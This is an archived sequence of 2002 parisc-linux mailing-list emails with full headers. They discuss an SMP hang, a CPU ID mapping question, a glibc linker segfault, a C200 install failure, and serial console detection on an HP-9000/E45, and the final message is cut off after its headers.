Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18-pa35 SMP process hangs on a J200
Date: Thu, 13 Jun 2002 15:52:46 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <20020613215246.3B1864848@dsl2.external.hp.com>
References: <5BA66B90-7D12-11D6-B01F-0030656F07A2@esiee.fr> <20020611145848.GA2796@tausq.org> <02061113393800.04435@localhost.localdomain>  <02061208454000.00732@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621395 9002 80.91.229.3 (22 Nov 2014 01:56:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, mszick@MoreThan.org
To: "Michael S. Zick" <mszick@goquest.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 13 15:52:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 3B1864848; Thu, 13 Jun 2002 15:52:46 -0600 (MDT)
In-Reply-To: Message from Michael S.Zick <mszick@goquest.com> 
   of "Wed, 12 Jun 2002 08:45:40 CDT." <02061208454000.00732@localhost.localdomain> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15097

Michael S. Zick wrote:
> Sirs...
> I now have a definate lead for the x86-SMP case, which might 
> aid the troubleshooters in the pa-risc branch (diff's attached).

ok - thanks. I'll take a look.

But I can tell you now that very little of the code between
x86 and parisc is shared in this area. I doubt it's as helpful
as you might think.

> Additional note: On the HP models with the worst of the problems;
> is the physical_cpu_id and the logical_cpu_id a 1:1 mapping as
> it is on x86 systems?

Yes. parisc didn't have a concept of physical CPU ID until
PAT PDC (eg A500, N-class, etc). When we want to support
CPU addition and removal, we can add physical/logical
mappings and it will no longer be 1:1.

grant



From - Thu Nov 08 21:23:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18-pa35 SMP process hangs on a J200
Date: Fri, 14 Jun 2002 03:05:54 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20020614030554.I9435@parcelfarce.linux.theplanet.co.uk>
References: <5BA66B90-7D12-11D6-B01F-0030656F07A2@esiee.fr> <20020611145848.GA2796@tausq.org> <02061113393800.04435@localhost.localdomain> <02061208454000.00732@localhost.localdomain> <mszick@goquest.com> <20020613215246.3B1864848@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621396 9003 80.91.229.3 (22 Nov 2014 01:56:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:36 +0000 (UTC)
Cc: "Michael S. Zick" <mszick@goquest.com>,
	parisc-linux@lists.parisc-linux.org, mszick@MoreThan.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 13 20:06:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 05F4D485C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Jun 2002 20:06:01 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17IgTK-0000M7-00; Fri, 14 Jun 2002 03:05:54 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020613215246.3B1864848@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Thu, Jun 13, 2002 at 03:52:46PM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15098

On Thu, Jun 13, 2002 at 03:52:46PM -0600, Grant Grundler wrote:
> > Additional note: On the HP models with the worst of the problems;
> > is the physical_cpu_id and the logical_cpu_id a 1:1 mapping as
> > it is on x86 systems?
> 
> Yes. parisc didn't have a concept of physical CPU ID until
> PAT PDC (eg A500, N-class, etc). When we want to support
> CPU addition and removal, we can add physical/logical
> mappings and it will no longer be 1:1.

Actually this came up in an unrelated question today.  I found that
where other architectures use a physical ID, we use an address.  So we
really have no use for logical/physical mappings.  When the CPU hotplug
code is introduced, it will actually remove the logical numbering and
loops over all cpus will be done with loops over all physical cpus and
a check to see whether that cpu is online.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Glibc cvs: ld segmentation fault
Date: Fri, 14 Jun 2002 07:27:22 +0200 (CEST)
Lines: 26
Approved: news@gmane.org
Message-ID: <1024032442.3d097eba5ead0@webmail.tiscalinet.be>
References: <200206131704.g5DH49TT002072@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621396 9006 80.91.229.3 (22 Nov 2014 01:56:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:36 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 13 23:28:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id DFFF84837
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Jun 2002 23:28:01 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17IjcI-00058n-00; Fri, 14 Jun 2002 07:27:22 +0200
In-Reply-To: <200206131704.g5DH49TT002072@hiauly1.hia.nrc.ca>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15099

Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:

> > Don't you have additional advice?
> 
> Did you start with the debian version of glibc?  I have built 2.2.5-6
> with 3.2 and am using it.  It's possible you need to update binutils.
> Some linux versions also seem to have a tendency to cause random
> segfaults.
> 
> Since I don't think I can duplicate your environment, you will have
> to run ld under gdb to find out where it's segfaulting and get some
> sense as to what's causing the problem.

Dave,

Thanks a lot.
As my first object (right now) is to help to understand why linux crash with
network connection  when compile with gcc-3.[12], I will also work with glibc-2.2.5.

Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installation problems on c200
Date: Fri, 14 Jun 2002 09:26:34 +0200 (CEST)
Lines: 47
Approved: news@gmane.org
Message-ID: <1024039594.3d099aaa12631@webmail.tiscalinet.be>
References: <002201c21320$660e4e50$6401a8c0@bartw2k>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621396 9008 80.91.229.3 (22 Nov 2014 01:56:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: klaue@otto.t4y-it.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 14 01:27:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5223A4841
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Jun 2002 01:27:20 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17IlTe-0006SR-00; Fri, 14 Jun 2002 09:26:34 +0200
In-Reply-To: <002201c21320$660e4e50$6401a8c0@bartw2k>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15100

Quoting klaue@otto.t4y-it.com:

> hi,
> 
> i have a c200 and want to install from a palinux-2.4.18-pa26-netinst
> image.
> after some problems booting from the internal cdrom, i have connected
> an
> external box with a traxdata writer. from this device the boot is
> working
> until the message "freeing unused kernel memory". after this i got some
> ext2-fs errors concerning the ramdisk. the last message is a kernal
> panic
> "no init found. try passing init= option to kernel".
> 

Never met this problem with a cd but it sounds like the burned cd is wrong.
Do you check md5sum of your downloaded image
(http://pateam.esiee.fr/cd-images/testing/)?
Then of your burned cd?

> is there anybody out who can help me to realize where the problem might
> be?
> the same is if i use a 2.4.18-pa35 image.
> i have already searched the list archive but i wasn't able to find a
> solution.
> 
> ok, i'm a newbie but i have the dream of using linux on my little hp
> box!
> 
> regards,
> 
> kim
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "William @ HOME" <william@zero.myftpsite.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP-9000/E45
Date: Fri, 14 Jun 2002 21:24:05 +0200
Organization: zero
Lines: 379
Approved: news@gmane.org
Message-ID: <002101c213d9$0c72b430$010012ac@jonis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/related;
	boundary="----=_NextPart_000_0022_01C213E9.CFFB8430"
X-Trace: ger.gmane.org 1416621397 9009 80.91.229.3 (22 Nov 2014 01:56:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:37 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 14 13:24:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from zero.myftpsite.net (h208n2fls32o826.telia.com [213.67.10.208])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E53C482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Jun 2002 13:24:13 -0600 (MDT)
Original-Received: from jonis (unknown [172.18.0.1])
	by zero.myftpsite.net (Postfix) with ESMTP id C7AC520985
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Jun 2002 21:24:11 +0200 (CEST)
X-Priority: 1 (Highest)
X-MSMail-Priority: High
X-Mailer: Microsoft Outlook, Build 10.0.2616
Importance: High
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15101

This is a multi-part message in MIME format.

------=_NextPart_000_0022_01C213E9.CFFB8430
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_0023_01C213E9.CFFB8430"


------=_NextPart_001_0023_01C213E9.CFFB8430
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit

 
 
 
Hi
 
I'm trying very hard to identify the tty on my HP-9000/E45 on which the
system console is attached
I've noticed that when running HP/UX on this box, it auto-detects the
system console, which is btw connected through a MUX.
Is there anyway to detect in a similar manner? Or can some debugging be
turned on to identify it?
I've tried the console=ttyS0 but just doesn't help anything. also tried
with ttys0 tty console
 
Any suggestions would be very happily accepted
 
Regards,
 
William Carlsson
__________________________________________________________________
WoC HOME
ICQ#: 1770152

Current ICQ status:  

*   <http://wwp.icq.com/1770152> More ways to contact me 
__________________________________________________________________
 

------=_NextPart_001_0023_01C213E9.CFFB8430
Content-Type: text/html;
	charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable

<html xmlns:v=3D"urn:schemas-microsoft-com:vml" =
xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 10">
<meta name=3DOriginator content=3D"Microsoft Word 10">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C213E9.CFAF38F0">
<link rel=3DEdit-Time-Data href=3D"cid:editdata.mso@01C213E9.CFAF38F0">
<!--[if !mso]>
<style>
v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
w\:* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}
</style>
<![endif]--><!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:SpellingState>Clean</w:SpellingState>
  <w:GrammarState>Clean</w:GrammarState>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:HyphenationZone>21</w:HyphenationZone>
  <w:EnvelopeVis/>
  <w:Compatibility>
   <w:BreakWrappedTables/>
   <w:SnapToGridInCell/>
   <w:ApplyBreakingRules/>
   <w:WrapTextWithPunct/>
   <w:UseAsianBreakRules/>
  </w:Compatibility>
  <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
 </w:WordDocument>
</xml><![endif]-->
<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Wingdings;
	panose-1:5 0 0 0 0 0 0 0 0 0;
	mso-font-charset:2;
	mso-generic-font-family:auto;
	mso-font-pitch:variable;
	mso-font-signature:0 268435456 0 0 -2147483648 0;}
@font-face
	{font-family:Geneva;
	panose-1:0 0 0 0 0 0 0 0 0 0;
	mso-font-alt:Arial;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-format:other;
	mso-font-pitch:variable;
	mso-font-signature:3 0 0 0 1 0;}
@font-face
	{font-family:Verdana;
	panose-1:2 11 6 4 3 5 4 4 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:536871559 0 0 0 415 0;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0cm;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
span.EmailStyle17
	{mso-style-type:personal;
	mso-style-noshow:yes;
	mso-ansi-font-size:10.0pt;
	mso-bidi-font-size:10.0pt;
	font-family:Arial;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:windowtext;}
span.EmailStyle18
	{mso-style-type:personal-reply;
	mso-style-noshow:yes;
	mso-ansi-font-size:10.0pt;
	mso-bidi-font-size:10.0pt;
	font-family:Arial;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:navy;}
span.GramE
	{mso-style-name:"";
	mso-gram-e:yes;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:70.85pt 70.85pt 70.85pt 70.85pt;
	mso-header-margin:35.4pt;
	mso-footer-margin:35.4pt;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 10]>
<style>
 /* Style Definitions */=20
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-parent:"";
	mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
	mso-para-margin:0cm;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman";}
</style>
<![endif]-->
</head>

<body lang=3DSV link=3Dblue vlink=3Dpurple =
style=3D'tab-interval:65.2pt'>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
lang=3DEN-GB
style=3D'font-size:12.0pt;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></spa=
n></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Hi<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>I&#8217;m trying very =
hard to
identify the tty on my HP-9000/E45 on which the system console is =
attached<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>I&#8217;ve noticed =
that when
running HP/UX on this box, it auto-detects the system console, which is =
btw
connected through a MUX.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>Is there anyway to =
detect in a
similar manner? Or can some debugging be turned on to identify =
it?<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>I&#8217;ve tried the
console=3DttyS0 but just doesn&#8217;t help anything&#8230; also tried =
with ttys0
tty console<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span=
></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>Any suggestions would =
be very
happily accepted<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span=
></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>Regards,<o:p></o:p></sp=
an></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span=
></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>William =
Carlsson<o:p></o:p></span></font></p>

<p class=3DMsoNormal><b><font size=3D1 color=3D"#448593" =
face=3DGeneva><span
style=3D'font-size:7.5pt;font-family:Geneva;color:#448593;font-weight:bol=
d;
mso-no-proof:yes'>_______________________________________________________=
___________</span></font></b><font
size=3D1 color=3D"#448593" face=3DGeneva><span =
style=3D'font-size:7.5pt;font-family:
Geneva;color:#448593;mso-no-proof:yes'><br>
</span></font><b><font size=3D2 color=3D"#448593" face=3DGeneva><span
style=3D'font-size:10.0pt;font-family:Geneva;color:#448593;font-weight:bo=
ld;
mso-no-proof:yes'>WoC HOME</span></font></b><font size=3D1 =
color=3D"#448593"
face=3DGeneva><span =
style=3D'font-size:7.5pt;font-family:Geneva;color:#448593;
mso-no-proof:yes'><br>
<b><span =
style=3D'font-weight:bold'>ICQ#:&nbsp;</span></b></span></font><b><font
size=3D1 color=3D"#4051c8" face=3DGeneva><span =
style=3D'font-size:7.5pt;font-family:
Geneva;color:#4051C8;font-weight:bold;mso-no-proof:yes'>1770152</span></f=
ont></b><font
size=3D1 color=3D"#448593" face=3DGeneva><span =
style=3D'font-size:7.5pt;font-family:
Geneva;color:#448593;mso-no-proof:yes'><o:p></o:p></span></font></p>

<table class=3DMsoNormalTable border=3D0 cellpadding=3D0 =
style=3D'mso-cellspacing:1.5pt'>
 <tr style=3D'mso-yfti-irow:0;mso-yfti-lastrow:yes'>
  <td valign=3Dtop style=3D'padding:.75pt .75pt .75pt .75pt'>
  <p class=3DMsoNormal><b><font size=3D1 color=3D"#448593" =
face=3DVerdana><span
  =
style=3D'font-size:7.5pt;font-family:Verdana;color:#448593;font-weight:bo=
ld;
  mso-no-proof:yes'>Current ICQ status:</span></font></b><font size=3D1
  color=3D"#448593" face=3DVerdana><span =
style=3D'font-size:7.5pt;font-family:Verdana;
  color:#448593;mso-no-proof:yes'>&nbsp;&nbsp;</span></font><font =
color=3Dnavy><span
  style=3D'color:navy;mso-no-proof:yes'><o:p></o:p></span></font></p>
  </td>
  <td valign=3Dbottom style=3D'padding:.75pt .75pt .75pt .75pt'>
  <p class=3DMsoNormal><font size=3D3 color=3Dnavy face=3D"Times New =
Roman"><span
  style=3D'font-size:12.0pt;color:navy;mso-no-proof:yes'><img width=3D77 =
height=3D16
  id=3D"_x0000_i1027" =
src=3D"cid:image001.gif@01C213E9.CFAF38F0"><o:p></o:p></span></font></p>
  </td>
 </tr>
</table>

<p class=3DMsoNormal><b><font size=3D3 color=3D"#448593" =
face=3DWingdings><span
style=3D'font-size:12.0pt;font-family:Wingdings;color:#448593;font-weight=
:bold;
mso-no-proof:yes'>+</span></font></b><font size=3D1 color=3D"#448593" =
face=3DGeneva><span
lang=3DEN-GB =
style=3D'font-size:7.5pt;font-family:Geneva;color:#448593;mso-ansi-langua=
ge:
EN-GB;mso-no-proof:yes'> &nbsp;</span></font><font size=3D1 =
color=3D"#448593"
face=3DGeneva><span =
style=3D'font-size:7.5pt;font-family:Geneva;color:#448593;
mso-no-proof:yes'><a href=3D"http://wwp.icq.com/1770152"><b><span =
lang=3DEN-GB
style=3D'mso-ansi-language:EN-GB;font-weight:bold'>More ways to contact =
me </span></b></a></span></font><font
size=3D1 color=3D"#448593" face=3DGeneva><span lang=3DEN-GB =
style=3D'font-size:7.5pt;
font-family:Geneva;color:#448593;mso-ansi-language:EN-GB;mso-no-proof:yes=
'><br>
<b><span =
style=3D'font-weight:bold'>______________________________________________=
____________________</span></b></span></font><span
lang=3DEN-GB style=3D'mso-ansi-language:EN-GB'><o:p></o:p></span></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span=
></font></p>

</div>

</body>

</html>

------=_NextPart_001_0023_01C213E9.CFFB8430--

------=_NextPart_000_0022_01C213E9.CFFB8430
Content-Type: image/gif;
	name="image001.gif"
Content-Transfer-Encoding: base64
Content-ID: <image001.gif@01C213E9.CFAF38F0>

R0lGODlhTQAQAJEAAP//AP8AAAAAAP///ywAAAAATQAQAAACjpw/IsjtD6OcZoWlFt28N5UMwQVe
3olCWEmKJpUlmZaeFmu9zKyBcrWqeW5BHcL38ylpws1MxEMeaaCYNcg7PIU5EABA/FCDvyS52mOi
NKZvzlg2A+doepabBXd34/JSDtj0MxK1pdX3J/cnxeVSEuZwl1g3abg21zICJ8gZUQWF0ynqpKg2
esrHxIh6WgAAOwA=

------=_NextPart_000_0022_01C213E9.CFFB8430--





From - Thu Nov 08 21:23:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-9000/E45
Date: Sat, 15 Jun 2002 01:45:28 +0200
Organization: private
Lines: 29
Approved: news@gmane.org
Message-ID: <3D0A8018.AEE42C90@gmx.at>
References: <002101c213d9$0c72b430$010012ac@jonis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
